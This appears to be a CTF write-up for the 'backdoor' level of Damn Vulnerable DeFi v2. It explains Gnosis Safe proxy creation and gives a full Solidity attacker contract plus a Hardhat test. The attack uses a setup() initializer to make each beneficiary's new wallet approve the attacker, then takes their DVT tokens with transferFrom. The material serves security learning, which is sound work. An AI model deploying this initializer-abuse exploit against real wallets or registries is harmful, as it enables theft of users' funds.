11.backdoor
2023-07-20 14:04:45 # 05.Damn Vulnerable DeFi v2 CTF

backdoor

analyse

1.overview

In this level, there is a walletRegistry. As long as someone registries a gnosis wallet, he can get 10 DVT. Up to now, 4 guys have registered, but they haven’t called proxyCreated(). Our goal is to their DVTs in total 40.

There is only one contract providing us. In fact, it involves several other contracts, especially GnosisSafeProxyFactory and GnosisSafe.

2.theory of gnosis wallet

Creating a gnosis wallet is cheap because it uses clone pattern which doesn’t need to deploy the entire logic contract.

To solve this level, we must know how gnosis wallet works and is created.

The proxy contract is created in GnosisSafeProxyFactory contract. And we can create a gnosis wallet by createProxyWithCallback(). Attention, it contains a variable named initializer which we can exploit while it is used to initialized the wallet.

1
2
3
4
5
6
7
8
9
10
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}

And then, createProxyWithCallback() will call createProxyWithNonce(). It will call the initializer to initialized as long as it doesn’t wrong.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}

After that, it will call deployProxyWithNonce() which uses CREATE2 to create a wallet. By the way, the bytecode in CREATE2 is constant because it uses clone pattern.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}

3.attack logic

As we know, they four registered but don’t call proxyCreated() to get 10 DET yet. We help them to call because there is no limit. So we can exploit during help them :)

There are a lot of require() in it, let’s analyses it:

  • require(token.balanceOf(address(this)) >= TOKEN_PAYMENT, "Not enough funds to pay");: the level contract should hold enough DVT.
  • require(msg.sender == walletFactory, "Caller must be factory");: Only GnosisSafeProxyFactory can call it.
  • require(singleton == masterCopy, "Fake mastercopy used");: we can only create the same wallet which is masterCopy
  • require(bytes4(initializer[:4]) == GnosisSafe.setup.selector, "Wrong initialization");: the wallet must initialized by setup(). We can exploit in it! Because we can pass any data in setup()
  • require(GnosisSafe(walletAddress).getThreshold() == MAX_THRESHOLD, "Invalid threshold");: Threshold must be 1.
  • require(GnosisSafe(walletAddress).getOwners().length == MAX_OWNERS, "Invalid number of owners"); : there must be only one owner.
  • require(beneficiaries[walletOwner], "Owner is not registered as beneficiary");: the owner must registry in this contract.

We know we can do something in setup(). the wallet someone creates will call setup() and then it will do something with to and data. If the data contains approve(), to can use transferFrom to transfer wallet’s DVT!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver
) external {
// setupOwners checks if the Threshold is already set, therefore preventing that this method is called twice
setupOwners(_owners, _threshold);
if (fallbackHandler != address(0)) internalSetFallbackHandler(fallbackHandler);
// As setupOwners can only be called if the contract has not been initialized we don't need a check for setupModules
setupModules(to, data);

if (payment > 0) {
// To avoid running into issues with EIP-170 we reuse the handlePayment function (to avoid adjusting code of that has been verified we do not adjust the method itself)
// baseGas = 0, gasPrice = 1 and gas = payment => amount = (payment + 0) * 1 = payment
handlePayment(payment, 0, 1, paymentToken, paymentReceiver);
}
emit SafeSetup(msg.sender, _owners, _threshold, to, fallbackHandler);
}

So our attack is that: build a data with approve() as initializer to create the wallet. Then we can call transferFrom() to steal DVT!

solutions

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@gnosis.pm/safe-contracts/contracts/GnosisSafe.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/IProxyCreationCallback.sol";

contract GnosisWalletAttacker{
GnosisSafeProxyFactory public factory;
IProxyCreationCallback public callback;
address[] public users;
address public singleton;
address token;

constructor (address _factory,address _callback,address[] memory _users,address _singleton,address _token)public {
factory=GnosisSafeProxyFactory(_factory);
callback=IProxyCreationCallback(_callback);
users=_users;
singleton=_singleton;
token=_token;
}

function approve(address _token,address spender)public{
IERC20(_token).approve(spender,10 ether);
}

function attack()public {
bytes memory data=abi.encodeWithSignature("approve(address,address)",token,address(this));

for(uint256 i = 0; i < users.length; i++){
address[] memory owners = new address[](1);
owners[0] = users[i];
bytes memory initializer = abi.encodeWithSignature("setup(address[],uint256,address,bytes,address,address,uint256,address)",
owners,
1,
address(this),
data,
address(0),
address(0),
0,
address(0)
);
GnosisSafeProxy proxy=factory.createProxyWithCallback(singleton,initializer,0,callback);

IERC20(token).transferFrom(address(proxy),tx.origin,10 ether);
}

}

}

js

1
2
3
4
5
6
7
8
9
10
11
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
this.attack = await (await ethers.getContractFactory("GnosisWalletAttacker",attacker)).deploy(
this.walletFactory.address,
this.walletRegistry.address,
users,
this.masterCopy.address,
this.token.address
)
this.attack.connect(attacker).attack()
});